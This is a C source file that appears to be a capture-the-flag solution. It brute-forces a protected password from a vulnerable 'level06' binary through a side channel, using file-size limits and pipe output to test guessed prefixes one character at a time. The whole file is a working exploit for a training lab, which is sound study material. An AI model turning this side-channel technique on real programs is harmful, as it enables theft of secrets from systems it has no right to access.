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path: root/level06.c
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#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <limits.h>
#include <string.h>
#include <sys/resource.h> 
#include <sys/stat.h> 
#include <sys/wait.h>

int teststr(const char *str)
{
	int out[2];
	pipe2(out, O_NONBLOCK);
	
	if (fork()) {
		int status;
		close(out[1]);
		wait(NULL);
		unlink("./tmp");
		usleep(30000);	// This is way longer than it has to be
				// for the purposes of looking awesome.
                status = read(out[0], NULL, 1);
		close(out[0]);
                return status == 0;

	} else {
		int file;
		char buffer[1025];
		struct rlimit limit;
		
		dup2(out[1], 1);
		close(out[0]);
		
		file = creat("./tmp", S_IWUSR | S_IRUSR);
		fcntl(file, F_SETFL, fcntl(file, F_GETFL) & ~O_NONBLOCK);
		dup2(file, 2);
		
		getrlimit(RLIMIT_FSIZE, &limit);
		limit.rlim_cur = 33 + strlen(str);
		setrlimit(RLIMIT_FSIZE, &limit);
		
		snprintf(buffer, 1025, "%s~", str);
		execl("/levels/level06", "level06", "/home/the-flag/.password", buffer, NULL);
	}
}
int checkfull(const char *str)
{
	int out[2];
	pipe(out);
	if (fork()) {
		char result[36 + strlen(str)];
		memset(result, 0, sizeof(result));
		close(out[1]);
		wait(NULL);
		read(out[0], &result, sizeof(result));
		close(out[0]);
		return result[sizeof(result) - 2] == 'W';
	} else {
		dup2(out[1], 2);
		close(out[0]);
		close(1);
		execl("/levels/level06", "level06", "/home/the-flag/.password", str, NULL);
	}	
}


int main(int argc, char *argv[])
{	

	char buffer[1024];
	int i;
	char c;
	memset(buffer, 0, 1024);
	for (i = 0; i < 1024; ++i) {
		for (c = 32; c < 126; ++c) {
			buffer[i] = c;
			printf("\r\033[2K%s", buffer);
			fflush(stdout);
			if (teststr(buffer)) {
				if (checkfull(buffer)) {
					printf("\n");
					return 0;
				}
				break;
			}
		}
	}
	printf("\r\033[2Kunknown\n");
	return 1;
}